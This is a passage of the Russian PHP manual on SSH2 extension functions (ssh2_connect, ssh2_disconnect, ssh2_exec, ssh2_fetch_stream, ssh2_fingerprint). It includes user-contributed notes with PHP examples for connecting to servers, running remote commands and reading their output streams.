server_to_client | Ассоциативный массив, содержащий настройки шифрования, сжатия и метода имитовставки ("message authentication code" или MAC) для сообщений, отправленных сервером клиенту.

* - Поддерживаемые значения зависят от методов, поддерживаемых базовой библиотекой. Более подробно читайте документацию по » libssh2.

client_to_server и server_to_client могут быть ассоциативными массивами, содержащими любой или же все нижеперечисленные параметры.
Индекс | Что обозначает | Допустимые значения*
crypt | Список методов шифрования, разделённых запятой, в порядке предпочтения. | rijndael-cbc@lysator.liu.se, aes256-cbc, aes192-cbc, aes128-cbc, 3des-cbc, blowfish-cbc, cast128-cbc, arcfour и none**
comp | Список методов сжатия, разделённых запятой, в порядке предпочтения. | zlib и none
mac | Список методов MAC, разделённых запятой, в порядке предпочтения. | hmac-sha1, hmac-sha1-96, hmac-ripemd160, hmac-ripemd160@openssh.com и none**

Замечание: Метод шифрования "none" и MAC

В целях безопасности none отключён в базовой библиотеке » libssh2, если вы не разрешили его самостоятельно на этапе сборки, используя соответствующие ключи ./configure. Смотрите документацию по базовой библиотеки для более подробной информации.

callbacks

callbacks может быть ассоциативным массивом, содержащим любой или же все нижеперечисленные параметры

Параметры callback-функции
Индекс | Что обозначает | Прототип
ignore | Имя функции, вызываемой после получения пакета SSH2_MSG_IGNORE | void ignore_cb($message)
debug | Имя функции, вызываемой после получения пакета SSH2_MSG_DEBUG | void debug_cb($message, $language, $always_display)
macerror | Имя функции, вызываемой если пакет получен, но MAC не удался. Если callback-функция вернёт true, несовпадение будет проигнорировано, в обратном случае соединение будет оборвано. | bool macerror_cb($packet)
disconnect | Имя функции, вызываемой после получения пакета SSH2_MSG_DISCONNECT | void disconnect_cb($reason, $message, $language)

Возвращаемые значения

Возвращает ресурс в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример ssh2_connect()

Откроем соединение, принудительно используя такие настройки: 3des-cbc при отправке пакетов, шифр aes любой силы при получении пакетов, без сжатия в обоих направлениях и обмен ключами Group1.

<?php
/* Оповещаем пользователя, если сервер прервал соединение */
function my_ssh_disconnect($reason, $message, $language) {
printf("Сервер отключился с кодом причины [%d] и сообщением: %s\n",
$reason, $message);
}

$methods = array(
'kex' => 'diffie-hellman-group1-sha1',
'client_to_server' => array(
'crypt' => '3des-cbc',
'comp' => 'none'),
'server_to_client' => array(
'crypt' => 'aes256-cbc,aes192-cbc,aes128-cbc',
'comp' => 'none'));

$callbacks = array('disconnect' => 'my_ssh_disconnect');

$connection = ssh2_connect('shell.example.com', 22, $methods, $callbacks);
if (!$connection) die('Не удалось установить соединение');
?>

Смотрите также

  • ssh2_fingerprint() - Получение отпечатка удалённого сервера
  • ssh2_auth_none() - Аутентификация как "none"
  • ssh2_auth_password() - Аутентификация через SSH с использованием обычного пароля
  • ssh2_auth_pubkey_file() - Аутентификация с открытым ключом
  • ssh2_disconnect() - Закрыть соединение с удалённым сервером SSH

User Contributed Notes

devoldemar 28-Aug-2023 11:50
Usage of 'hostkey' option makes sence when you need to check authenticity of the remote server, e.g. by means of ssh2_fingerprint function. For that purpose you specify a list of possible algorithms sorted by priority in descending order. Supported values also include 'ssh-ed25519', 'ecdsa-sha2-nistp256', 'ecdsa-sha2-nistp384' and 'ecdsa-sha2-nistp521'.
For instance:
<?php
$ssh = ssh2_connect('192.168.3.1', 22, ['hostkey' => 'ssh-ed25519,ssh-rsa']);
$md5 = ssh2_fingerprint($ssh); // returns MD5 hash of ED25519 host key, or MD5 hash of RSA key if the key of previous type is absent
?>

Note, if the remote server does not have a key of appropriate type connection will fail:
<?php
$ssh = ssh2_connect('192.168.3.1', 22, ['hostkey' => 'ssh-dss']);
PHP Warning:  ssh2_connect(): Error starting up SSH connection(-5): Unable to exchange encryption keys in php shell code on line 1
PHP Warning:  ssh2_connect(): Unable to connect to 192.168.3.1 in php shell code on line 1
?>
jrdbrndt at gmail dot com 13-Feb-2020 03:40
Trying to include "aes256-cbc" in the encryption methods list caused an error. The documentation here may be out of date, and you might find a more accurate list of what values are acceptable by checking the libssh2 documentation at libssh2.org.
christophermjgray at gmail dot com 02-Dec-2017 10:01
This page is out of date.  Any of the SHA-1 in the Key Exchange Methods in the kex section should be discarded, due to Logjam (https://weakdh.org/logjam.html).  If you continue to use them, connects will result in the following warning:
"Warning: ssh2_connect(): Error starting up SSH connection(-5): Unable to exchange encryption keys in ..."

The following is an example of what works.  Also by removing the 'hex' section all together, results in libssl (https://libssh2.org/) falling back to discovering which is the strongest cipher to authenticate with.

<?php

if (!function_exists("ssh2_connect")) die("function ssh2_connect doesn't exist");

function ssh2_debug($message, $language, $always_display) {
   printf("%s %s %s\n",$message,$language,$always_display);
}

/* Notify the user if the server terminates the connection */
function my_ssh_disconnect($reason, $message, $language) {
  printf("Server disconnected with reason code [%d] and message: %s\n", $reason, $message);
}

$methods = array(
    'hostkey'=>'ssh-rsa,ssh-dss',
//    'kex' => 'diffie-hellman-group-exchange-sha256',
    'client_to_server' => array(
        'crypt' => 'aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc',
        'comp' => 'none'),
    'server_to_client' => array(
        'crypt' => 'aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc',
        'comp' => 'none'));

$callbacks = array('disconnect' => 'my_ssh_disconnect');

foreach (array('192.168.1.1') as $host) {
  $connection = ssh2_connect($host, 22, $methods, $callbacks);
  if (!$connection) die("Connection failed:");

  ssh2_auth_password($connection, 'user', 'my_password') or die("Unable to authenticate");
  $stream = ssh2_exec($connection, 'free -m');
  stream_set_blocking($stream, true);
  $stream_out = ssh2_fetch_stream($stream, SSH2_STREAM_STDIO);
  echo stream_get_contents($stream_out);
}

?>
thessoro at gmail dot com 04-Feb-2015 07:38
Be careful when providing a specific hostkey order.

<?php
ssh2_connect('IP', 'port', array('hostkey'=>'ssh-rsa, ssh-dss'));
?>

Will only work when the public key of the server is RSA, and not DSA also as expected. This is caused by the empty space before the "ssh-dss".

So a similar code:

<?php
ssh2_connect('IP', 'port',   array('hostkey'=>'ssh-rsa,ssh-dss'));
?>

Will work. The HOSTKEY method is overriden using exactly what you write, so no empty spaces are allowed.

This took me some time that you could save ;)
rainerkrauss at googlemail dot com 08-Jun-2014 11:00
Warning! If you open a ssh connection and execute an external program opening another ssh connection it may result in very strange behavior.

I used an sftp connection to get a file list and used "exec" to download the files afterwards with an external sftp. lftp downloaded zeros with no comment, psftp exits with error code 11 most of the time, but sometimes it works - probably depending on how quickly php collects garbage and closes the unused connection first.

As there is no function to close a connection, you need to be sure to destroy all references (unset) to close it.
Trev White 26-Jul-2013 09:20
Hi,
If you are having problems with running a ssh2 session and it waits forever during the execution of stream_get_contents, it might be because the remote system has run the command and is now sitting at a # prompt waiting for the next command.  I had this issue on a HP MSA box, here is the code to get around the issue.

Assuming you are connected with your authentication method and $ssh contains the handle.

<?php
$command = "check disk";
// Open a nice large window to stop wrapping
$stream = ssh2_shell ($ssh, 'xterm', null, 200, 200, SSH2_TERM_UNIT_CHARS);

// Hook into the error stream
$errorStream = ssh2_fetch_stream($stream, SSH2_STREAM_STDERR);

// Block the streams so we wait until they complete
stream_set_blocking ($stream, true);
stream_set_blocking($errorStream, true);

// Send the commands to the terminal
fwrite ($stream, $command . PHP_EOL );

// Wait give the terminal a chance to accept and start processing the command, this is a slow storage device after all
sleep(2);

// IMPORTANT BIT!!  Send exit to the terminal to close the connection BEFORE WE WAIT FOR THE STREAM
fwrite ($stream, "exit" . PHP_EOL );
sleep (2);

// Print the output
echo stream_get_contents($stream);
$errortext=stream_get_contents($errorStream);

if (strlen($errortext) > 0) {
          // Error Data
         echo "Error Data: $errortext";
         exit (1);
}

// All Good
exit (0);

?>

You can't use ssh2_exec with this method (well at lease I couldn't) because on executing the first command the stream gets blocked and then you can't run the exit command, whereas a terminal seems to use one session.

I hope this helps someone.
Steve Kamerman 05-Jul-2011 03:06
Due to a lack of complete examples, here's a simple SSH2 class for connecting to a server, authenticating with public key authentication, verifying the server's fingerprint, issuing commands and reading their STDOUT and properly disconnecting.  Note: You may need to make sure you commands produce output so the response can be pulled.  Some people suggest that the command is not executed until you pull the response back.
<?php
class NiceSSH {
    // SSH Host
    private $ssh_host = 'myserver.example.com';
    // SSH Port
    private $ssh_port = 22;
    // SSH Server Fingerprint
    private $ssh_server_fp = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
    // SSH Username
    private $ssh_auth_user = 'username';
    // SSH Public Key File
    private $ssh_auth_pub = '/home/username/.ssh/id_rsa.pub';
    // SSH Private Key File
    private $ssh_auth_priv = '/home/username/.ssh/id_rsa';
    // SSH Private Key Passphrase (null == no passphrase)
    private $ssh_auth_pass;
    // SSH Connection
    private $connection;

    public function connect() {
        if (!($this->connection = ssh2_connect($this->ssh_host, $this->ssh_port))) {
            throw new Exception('Cannot connect to server');
        }
        $fingerprint = ssh2_fingerprint($this->connection, SSH2_FINGERPRINT_MD5 | SSH2_FINGERPRINT_HEX);
        if (strcmp($this->ssh_server_fp, $fingerprint) !== 0) {
            throw new Exception('Unable to verify server identity!');
        }
        if (!ssh2_auth_pubkey_file($this->connection, $this->ssh_auth_user, $this->ssh_auth_pub, $this->ssh_auth_priv, $this->ssh_auth_pass)) {
            throw new Exception('Autentication rejected by server');
        }
    }
    public function exec($cmd) {
        if (!($stream = ssh2_exec($this->connection, $cmd))) {
            throw new Exception('SSH command failed');
        }
        stream_set_blocking($stream, true);
        $data = "";
        while ($buf = fread($stream, 4096)) {
            $data .= $buf;
        }
        fclose($stream);
        return $data;
    }
    public function disconnect() {
        $this->exec('echo "EXITING" && exit;');
        $this->connection = null;
    }
    public function __destruct() {
        $this->disconnect();
    }
}
?>

[EDIT BY danbrown AT php DOT net: Contains two bugfixes suggested by 'AlainC' in user note #109185 (removed) on 26-JUN-2012.]
suri dot suribala dot com 24-Feb-2005 05:00
With Sara's help, I have the following SS2 class that is quite flexible. If anyone improves it, please feel free to let me know.

<?php

// ssh protocols
// note: once openShell method is used, cmdExec does not work

class ssh2 {

  private $host = 'host';
  private $user = 'user';
  private $port = '22';
  private $password = 'password';
  private $con = null;
  private $shell_type = 'xterm';
  private $shell = null;
  private $log = '';

  function __construct($host='', $port=''  ) {

     if( $host!='' ) $this->host  = $host;
     if( $port!='' ) $this->port  = $port;

     $this->con  = ssh2_connect($this->host, $this->port);
     if( !$this->con ) {
       $this->log .= "Connection failed !";
     }

  }

  function authPassword( $user = '', $password = '' ) {

     if( $user!='' ) $this->user  = $user;
     if( $password!='' ) $this->password  = $password;

     if( !ssh2_auth_password( $this->con, $this->user, $this->password ) ) {
       $this->log .= "Authorization failed !";
     }

  }

  function openShell( $shell_type = '' ) {

        if ( $shell_type != '' ) $this->shell_type = $shell_type;
    $this->shell = ssh2_shell( $this->con,  $this->shell_type );
    if( !$this->shell ) $this->log .= " Shell connection failed !";

  }

  function writeShell( $command = '' ) {

    fwrite($this->shell, $command."\n");

  }

  function cmdExec( ) {

        $argc = func_num_args();
        $argv = func_get_args();

    $cmd = '';
    for( $i=0; $i<$argc ; $i++) {
        if( $i != ($argc-1) ) {
          $cmd .= $argv[$i]." && ";
        }else{
          $cmd .= $argv[$i];
        }
    }
    echo $cmd;

        $stream = ssh2_exec( $this->con, $cmd );
    stream_set_blocking( $stream, true );
    return fread( $stream, 4096 );

  }

  function getLog() {

     return $this->log;

  }

}

?>


Закрыть соединение с удалённым сервером SSH

  • « ssh2_connect
  • ssh2_exec »
  • PHP Manual
  • Функции SSH2
  • Закрыть соединение с удалённым сервером SSH

ssh2_disconnect

(PECL ssh2 >= 1.0)

ssh2_disconnect — Закрыть соединение с удалённым сервером SSH

Описание

ssh2_disconnect(resource $session): bool

Закрыть соединение с удалённым сервером SSH.

Список параметров

session

Идентификатор ссылки соединения SSH, полученный в результате вызова ssh2_connect().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ssh2_connect() - Подключение к SSH-серверу

User Contributed Notes

Peter Roes 14-Apr-2023 06:37
If you derive an sftp connection from an ssh connection you must close the sftp connection before closing the ssh connection if you use ssh2_dissconnect. In other words:

<?php
$ssh_con=ssh2_connect($sftp_server);
ssh2_auth_password($ssh_con, $sftp_user, $sftp_pass);
$scp_con=ssh2_sftp($ssh_con);

# do stuff with $scp_con

ssh2_disconnect($scp_con);
ssh2_disconnect($ssh_con);
?>
Anton Farber 05-Sep-2020 07:57
This function worked fine as long as I didn't use any ssh2_sftp* stuff. As soon as I did, the connection (from my webserver to my browser) was closed without any warning/error in any of the logfiles. So, this won't work

<?php
// ssh2_connect and ssh2_auth etc...
$sftp = ssh2_sftp($connection);
ssh2_disconnect(); // Causes the connection to be reset
?>

while this works

<?php
// ssh2_connect and ssh2_auth etc...
$sftp = ssh2_sftp($connection);
$connection = null; unset($connection);
?>
Cavallo 10-Dec-2018 10:07
ssh2_disconnect(...) requires at least PHP 7 (as it requires PECL ssh2 >= 1.0, which the PECL documentation on https://pecl.php.net/package/ssh2 states: "ssh2 1.0 and above is PHP 7 only").

For PHP 5.x similar functionality, try setting the ssh2_connect session variable to null, or unsetting it completely - this should allow PHP's garbage collection close the connection.

Example:

$session=ssh2_connect(...); // open connection
// code here to use connection
$session = null; unset($session); // close connection


Выполнение команды на удалённом сервере

  • « ssh2_disconnect
  • ssh2_fetch_stream »
  • PHP Manual
  • Функции SSH2
  • Выполнение команды на удалённом сервере

ssh2_exec

(PECL ssh2 >= 0.9.0)

ssh2_exec — Выполнение команды на удалённом сервере

Описание

ssh2_exec(
resource $session,
string $command,
string $pty = ?,
array $env = ?,
int $width = 80,
int $height = 25,
int $width_height_type = SSH2_TERM_UNIT_CHARS
): resource|false

Запуск команды на удалённом сервере и выделение для неё канала.

Список параметров

session

Идентификатор соединения SSH, полученный из ssh2_connect().

command

pty

env

env может передаваться как ассоциативный массив пар имя/значение, представляющие переменные окружения, которые нужно установить перед запуском команды.

width

Ширина виртуального терминала.

height

Высота виртуального терминала.

width_height_type

width_height_type должен быть SSH2_TERM_UNIT_CHARS или SSH2_TERM_UNIT_PIXELS.

Возвращаемые значения

Возвращает поток в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Выполнение команды

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stream = ssh2_exec($connection, '/usr/local/bin/php -i');
?>

Смотрите также

  • ssh2_connect() - Подключение к SSH-серверу
  • ssh2_shell() - Запрашивает интерактивный терминал
  • ssh2_tunnel() - Открыть туннель через удалённый сервер

User Contributed Notes

mlocati at gmail dot com 21-Sep-2023 03:21
Since version 0.13 of the SSH2 extension, it's possible to retrieve the command exit status with stream_get_meta_data().

For example:

<?php
$channel = ssh2_exec($connection, $command);

$metadata = stream_get_meta_data($channel);

$exitCode = $metadata['exit_status'];

?>

Retrieving the exit code is very helpful, since usually, commands return 0 in case of success, and other values in case of errors.
Rainer Perske 09-Jun-2020 02:50
The following function can be used to read both stdout and stderr even if both streams contain gigabytes of data. It solves most problems mentioned in other comments, like blocking, like further using the existing connection etc.

  function ssh2_run($ssh2,$cmd,&$out=null,&$err=null){
    $result=false;
    $out='';
    $err='';
    $sshout=ssh2_exec($ssh2,$cmd);
    if($sshout){
      $ssherr=ssh2_fetch_stream($sshout,SSH2_STREAM_STDERR);
      if($ssherr){
        # we cannot use stream_select() with SSH2 streams
        # so use non-blocking stream_get_contents() and usleep()
        if(stream_set_blocking($sshout,false) and
           stream_set_blocking($ssherr,false)
        ){
          $result=true;
          # loop until end of output on both stdout and stderr
          $wait=0;
          while(!feof($sshout) or !feof($ssherr)){
            # sleep only after not reading any data
            if($wait)usleep($wait);
            $wait=50000; # 1/20 second
            if(!feof($sshout)){
              $one=stream_get_contents($sshout);
              if($one===false){ $result=false; break; }
              if($one!=''){ $out.=$one; $wait=0; }
            }
            if(!feof($ssherr)){
              $one=stream_get_contents($ssherr);
              if($one===false){ $result=false; break; }
              if($one!=''){ $err.=$one; $wait=0; }
            }
          }
        }
        # we need to wait for end of command
        stream_set_blocking($sshout,true);
        stream_set_blocking($ssherr,true);
        # these will not get any output
        stream_get_contents($sshout);
        stream_get_contents($ssherr);
        fclose($ssherr);
      }
      fclose($sshout);
    }
    return $result;
  }
dosentnd at gmail dot com 12-Mar-2020 08:39
Running multiple commands shows this warning and second(and any next) command wont be executed:
- PHP Warning:  ssh2_exec(): Unable to request a channel from remote host in ...

Solution with fclose($stream) does not work, but this is simple solution which works for me:

<?php

$connection = ssh2_connect('SOME SSH IP ADDRESS', 22);
ssh2_auth_password($connection, 'username', 'passwortd');

//those commands are for some HUAWEI enterprise routers

    $stream = ssh2_exec( $connection, "screen-length 0 temporary\ndisplay isis name-table" );
    stream_set_blocking( $stream, true );
    $stream_out = ssh2_fetch_stream( $stream, SSH2_STREAM_STDIO );
    echo stream_get_contents($stream_out);

?>

first command is: screen-length 0 temporary
second command is: display isis name-table
which is executed with \n in the same line.
You have to separete outputs of those commands later.

Looks like ssh2_exec allocates exec stream in session you are connected in, and for freeing it , you have to ssh2_disconnect.
Usualy you are ok to ssh2_exec one command then disconnect, then connect and ssh2_exec next command. This is how some other php libraries works as I have seen. But sometimes some variables are sesion dependent, and when you disconnect variables resets.
edoceo at gmail dot com 03-Dec-2016 08:46
Here's what I use for doing ssh2_exec for long running scripts, expanding on other examples.  It waits for a timeout and checks if both streams are finished.  Does not use blocking and it gets data from both STDOUT and STDERR.

<?php
$stdout = ssh2_exec($ssh, $cmd);
$stderr = ssh2_fetch_stream($stdout, SSH2_STREAM_STDERR);
if (!empty($stdout)) {

    $t0 = time();
    $err_buf = null;
    $out_buf = null;

    // Try for 30s
    do {

        $err_buf.= fread($stderr, 4096);
        $out_buf.= fread($stdout, 4096);

        $done = 0;
        if (feof($stderr)) {
            $done++;
        }
        if (feof($stdout)) {
            $done++;
        }

        $t1 = time();
        $span = $t1 - $t0;

        // Info note
        echo "while (($tD < 20) && ($done < 2));\n";

        // Wait here so we don't hammer in this loop
        sleep(1);

    } while (($span < 30) && ($done < 2));

    echo "STDERR:\n$err_buf\n";
    echo "STDOUT:\n$out_buf\n";

    echo "Done\n";

} else {
    echo "Failed to Shell\n";
}
?>

Adjust your timeout as necessary.
mbs 14-Jun-2015 11:36
<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stream = ssh2_exec($connection, '/usr/local/bin/php -i');
?>
noreply at voicemeup dot com 12-Feb-2013 04:12
*** IMPORTANT ***
If you are having issues getting STDERR on PHP 5.2.X, make sure to update to 5.2.17 and latest ssh2 extension from PECL.
Jim 08-Dec-2010 09:22
It is important to note that this will not work ~all~ hosts that allow SFTP. We deny shell access, but allow SFTP using the sftp-internal subsystem.

When attempting to use ssh2_exec() with this configuration, and stream_set_blocking set to true, the script will hang indefinitely. When stream_set_blocking is set to false, nothing will be returned.

Even if you can SFTP files, be sure to check with your host to see if you have shell access.
christopher dot millward at gmail dot com 26-Jul-2010 11:15
There doesn't appear to be a way to get data from BOTH stderr and stdout streams simultaneously, or at least I've yet to find one.

The following code *should* get the error message written to stderr, but if the call to stream_get_contents() for stdout is run first, the subsequent call for stderr won't return anything.

If the order of the statements is reversed, the call for stderr will return any errors and call for stdout will return nothing

<?php
// Run a command that will probably write to stderr (unless you have a folder named /hom)
$stream = ssh2_exec($connection, "cd /hom");
$errorStream = ssh2_fetch_stream($stream, SSH2_STREAM_STDERR);

// Enable blocking for both streams
stream_set_blocking($errorStream, true);
stream_set_blocking($stream, true);

// Whichever of the two below commands is listed first will receive its appropriate output.  The second command receives nothing
echo "Output: " . stream_get_contents($stream);
echo "Error: " . stream_get_contents($errorStream);

// Close the streams
fclose($errorStream);
fclose($stream);

?>

My initial suspicion is that either a) I've done something wrong  or b) the blocking nature of both streams means that by the time first stream has received data and returned, the buffer for the second stream has already emptied.

I've done preliminary tests with blocking disabled, but haven't had any luck there either.
gwinans at gmail dot com 27-Apr-2010 10:40
Oddly enough, I've noticed if I attempt to execute anything nothing happens. Now, I don't mean "No content is returned!".. I mean, "The command I told it to execute didn't execute!".

Unless the following pattern is followed:

<?php
$stream = ssh2_exec($connection, "touch ~/some_fake_file", 'xterm');
stream_get_contents($stream);
?>

Nowhere in the manual does it imply that stream_get_contents is required for the actual execution to take place, but in this case.. it seems that way. So, if you're having trouble getting commands to execute, try using stream_get_contents().
magicaltux at php dot net 21-Dec-2008 04:41
The "pty" parameter is not documented.

You should pass a pty emulation name ("vt102", "ansi", etc...) if you want to emulate a pty, or NULL if you don't.

Passing false will convert false to a string, and will allocate a "" terminal.
jaimie at seoegghead dot com 18-Dec-2008 08:07
I believe most of the problem that people are having here is that there is a misconception about what blocking *really* means.

Blocking means a read from the *stream* will wait until there is data.  Not necessarily all the data from the application -- but *some*.  So it won't help you at all if you're executing a command that doesn't write to stdout, or writes a whole lot of data.

So there are 2 problems:

1. If you need to know that a silent program is done via ssh2_exec, you'll need to signal it to yourself.  ssh2_exec will *not* block execution until the command is done executing.  And 2 consecutive ssh2_execs may execute asynchronously.  You could also log into a shell via ssh2_shell and parse up to the next prompt -- but that's overkill.  You can also do this by adding on some sort of sentinel at the end of your command, such as echo "@," and then block on reads until you see a "@."  Ensure "@" won't appear in the output, or escape the output via some encoding mechanism if you can't do that.

2. If the program takes awhile, you have the same problem.  You need to read until you're done.  So you need a sentinel value like the above.

3. Sleep() is just a bad idea here.  Commands rarely take the same amount of time to execute a command twice.  It may be OK if you're doing *one* thing and can just wait 5 seconds.  But that's not cool if it's something you're doing in a loop.

Hope this helps!
lko at netuse dot de 06-Dec-2007 05:41
if you are using exec function, and have problems with a output > 1000 lines
you should use

<?php
                stream_set_blocking($stream, true);
                while($line = fgets($stream)) {
                        flush();
                        echo $line."<br />";
                }
?>

except

<?php
                stream_set_blocking($stream, true);
               echo stream_get_contents($stream);
?>
Betsy Gamrat 15-Apr-2007 07:52
It is also good to use register_shutdown_function to shred the keys after this runs.
Jon-Eirik Pettersen 11-Mar-2007 04:33
The command  may not finish before the function return if the stream is not set to blocking mode. You may have to set the stream to blocking mode in order to get any output from the command.

<?php
  // [Open connection]
  // ...

  $stream = ssh2_exec($connection, 'ps ax');
  stream_set_blocking($stream, true);

  // The command may not finish properly if the stream is not read to end
  $output = stream_get_contents($stream);

  // ...
  // [Close stream and connection]
?>
Betsy Gamrat 18-Feb-2007 12:00
If the ssh2_exec takes awhile to run, and you need a handshake, you can use a file.  In this case, $flag names a handshake file that is written when the ssh script finishes.

<?php
                $stream = ssh2_exec($connection, $command . " $public_key $private_key;");
                $i=0;
                while (!file_exists ($flag) && ($i < MAX_TIME))
                {
                        sleep(1);
                        $i++;
                }
                $ret_val=($stream!=FALSE);
?>

This is an extract out of the bash script that is running.  Be sure to allow the webserver permission to read the file that the script writes.

echo 0 > $OUTFILE
chmod 666 $OUTFILE

One other note:  you can put more than one command in by separating them with ';' (semicolons).
tabber dot watts at gmail dot com 02-Dec-2005 03:21
This is the best way I found to automatically run multiple commands or commands that might take longer then expected.  NOTE: this assumes that no where in the output is there the text '[end]' otherwise the function will end prematurely.  Hope this helps people.

<?php
$ip = 'ip_address';
$user = 'username';
$pass = 'password';

$connection = ssh2_connect($ip);
ssh2_auth_password($connection,$user,$pass);
$shell = ssh2_shell($connection,"bash");

//Trick is in the start and end echos which can be executed in both *nix and windows systems.
//Do add 'cmd /C' to the start of $cmd if on a windows system.
$cmd = "echo '[start]';your commands here;echo '[end]'";
$output = user_exec($shell,$cmd);

fclose($shell);

function user_exec($shell,$cmd) {
  fwrite($shell,$cmd . "\n");
  $output = "";
  $start = false;
  $start_time = time();
  $max_time = 2; //time in seconds
  while(((time()-$start_time) < $max_time)) {
    $line = fgets($shell);
    if(!strstr($line,$cmd)) {
      if(preg_match('/\[start\]/',$line)) {
        $start = true;
      }elseif(preg_match('/\[end\]/',$line)) {
        return $output;
      }elseif($start){
        $output[] = $line;
      }
    }
  }
}

?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix supplied by (jschwepp AT gmail DOT com) on 17-FEB-2010 to fix a typo in a function name.]
gakksimian at yahoo dot com 07-Sep-2005 10:15
Executing remote Windows commands...
After some hair pulling, I thought I'd suggest a couple things that might help others:

1. Use 'ssh2_fetch_stream' to open a stderr stream according to the manual.
2. Windows shell commands require 'cmd /C [command]' to execute.  (I had forgotten this)

<?php
    // code fragment
    $stdout_stream = ssh2_exec($connection, 'cmd /C dir');
    $stderr_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDERR);
?>

I didn't realize the need for the 'cmd /C' until I saw the stderr response 'dir: not found'.
yairl at savion dot huji dot ac dot il 09-Jun-2005 05:03
If you want to run many exec orders throught ssh2 in the same process using the same variable $stream for exemple and to read the output for each order, you must close the stream after each order else you will not be able to read the next order output.

<?php
 $stream=ssh2_exec($conn_id,"/usr/bin/ls .");
    stream_set_blocking( $stream, true );
    $cmd=fread($stream,4096);
fclose($stream);

if(ereg("public_html",$cmd)){
 // ...........................................
}

 $stream=ssh2_exec($conn_id,"/usr/bin/ls public_html");
    stream_set_blocking( $stream, true );
    $cmd=fread($stream,4096);
fclose($stream);

if(ereg("images",$cmd)){
 // ..........................................
}

$stream=ssh2_exec($conn_id,"/usr/bin/ls public_html/images");
    stream_set_blocking( $stream, true );
    $cmd=fread($stream,4096);
fclose($stream);

if(ereg("blabla",$cmd)){
 // ..........................................
}
?>


Получение расширенного потока данных

  • « ssh2_exec
  • ssh2_fingerprint »
  • PHP Manual
  • Функции SSH2
  • Получение расширенного потока данных

ssh2_fetch_stream

(PECL ssh2 >= 0.9.0)

ssh2_fetch_stream — Получение расширенного потока данных

Описание

ssh2_fetch_stream(resource $channel, int $streamid): resource

Выбирает альтернативный подпоток, связанный с потоком канала SSH2. На данный момент протокол SSH2 определяет только один подпоток STDERR, имеющий идентификатор SSH2_STREAM_STDERR (определён как 1).

Список параметров

channel

streamid

Поток канала SSH2.

Возвращаемые значения

Возвращает запрошенный ресурс потока.

Примеры

Пример #1 Открытие консоли и получение связанного с ней потока STDERR

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stdio_stream = ssh2_shell($connection);
$stderr_stream = ssh2_fetch_stream($stdio_stream, SSH2_STREAM_STDERR);
?>

Смотрите также

  • ssh2_shell() - Запрашивает интерактивный терминал
  • ssh2_exec() - Выполнение команды на удалённом сервере
  • ssh2_connect() - Подключение к SSH-серверу

User Contributed Notes

ingo at baab dot de 25-Jun-2020 03:46
In addition to the last post (13 years ago) from Dennis K. I corrected two typos (constant SSH2_STREAM_STDIO was misspellt) and removed (too many) brackets - this code works:

<?php
      $stdout_stream = ssh2_exec($connection, "lsssss -la");

      $sio_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDIO);
      $err_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDERR);

      stream_set_blocking($sio_stream, true);
      stream_set_blocking($err_stream, true);

      $result_dio = stream_get_contents($sio_stream);
      $result_err = stream_get_contents($err_stream);

      echo 'stderr: ' . $result_err;
      echo 'stdio : ' . $result_dio;
?>
hexer 10-Sep-2008 06:51
I successfully used fgets in PHP4

examples

<?php
$stderr = fgets(ssh2_fetch_stream($channel, SSH2_STREAM_STDERR), 8192);

$str = fgets(ssh2_fetch_stream($channel, SSH2_STREAM_STDIO), 8192);
?>
Dennis K. 24-Jan-2007 04:28
In addition to the last post from Ricardo Striquer:

Simple block the stream with stream_set_blocking(), and you dont have to sleep() the script...

<?php
stdout_stream = ssh2_exec($connection, "/bin/lssss -la /tmp");

$err_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDERR);

$dio_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDDIO);

stream_set_blocking($err_stream, true);
stream_set_blocking($dio_stream, true);

$result_err = stream_get_contents($err_stream));
$result_dio = stream_get_contents($dio_stream));
?>
Ricardo Striquer (ricardophp yohoocombr) 18-Dec-2006 07:41
I got a friend using those functions and he was not able to use this ssh2_fetch_stream function. First of all I got the ssh2_shell sample by webmaster at spectreanime dot com, but this function does not work with his sample, i believe thats because he use fwrite instead of ssh2_shell or ssh2_exec to run the command.

This sample below is to run under a command line and is fully functional. note that i add the sleep as advised by webmaster at spectreanime dot com

<?php
echo "Connexion SSH ";
if (!($connection=@ssh2_connect("69.69.69.69", 22))) {
   echo "[FAILED]\n";
   exit(1);
}
echo "[OK]\nAuthentification ";

if (!@ssh2_auth_password($connection,"root","YourPassword")) {
   echo "[FAILED]\n";
   exit(1);
}
echo "[OK]\n";

$stdout_stream = ssh2_exec($connection, "/bin/lssss -la /tmp");
sleep(1);
$stderr_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDERR);

echo "Erros encontrados!\n------------\n";
while($line = fgets($stderr_stream)) { flush(); echo $line."\n"; }
echo "------------\n";

while($line = fgets($stdout_stream)) { flush(); echo $line."\n";}

fclose($stdout_stream);
?>


Получение отпечатка удалённого сервера

  • « ssh2_fetch_stream
  • ssh2_forward_accept »
  • PHP Manual
  • Функции SSH2
  • Получение отпечатка удалённого сервера

ssh2_fingerprint

(PECL ssh2 >= 0.9.0)

ssh2_fingerprint — Получение отпечатка удалённого сервера

Описание

ssh2_fingerprint(resource $session, int $flags = SSH2_FINGERPRINT_MD5 | SSH2_FINGERPRINT_HEX): string

Возвращает хеш ключа хоста из активной сессии.

Список параметров

session

Идентификатор соединения SSH, полученный из ssh2_connect().

flags

flags может быть SSH2_FINGERPRINT_MD5 или SSH2_FINGERPRINT_SHA1, объединённые логическим ИЛИ (OR) с SSH2_FINGERPRINT_HEX или SSH2_FINGERPRINT_RAW.

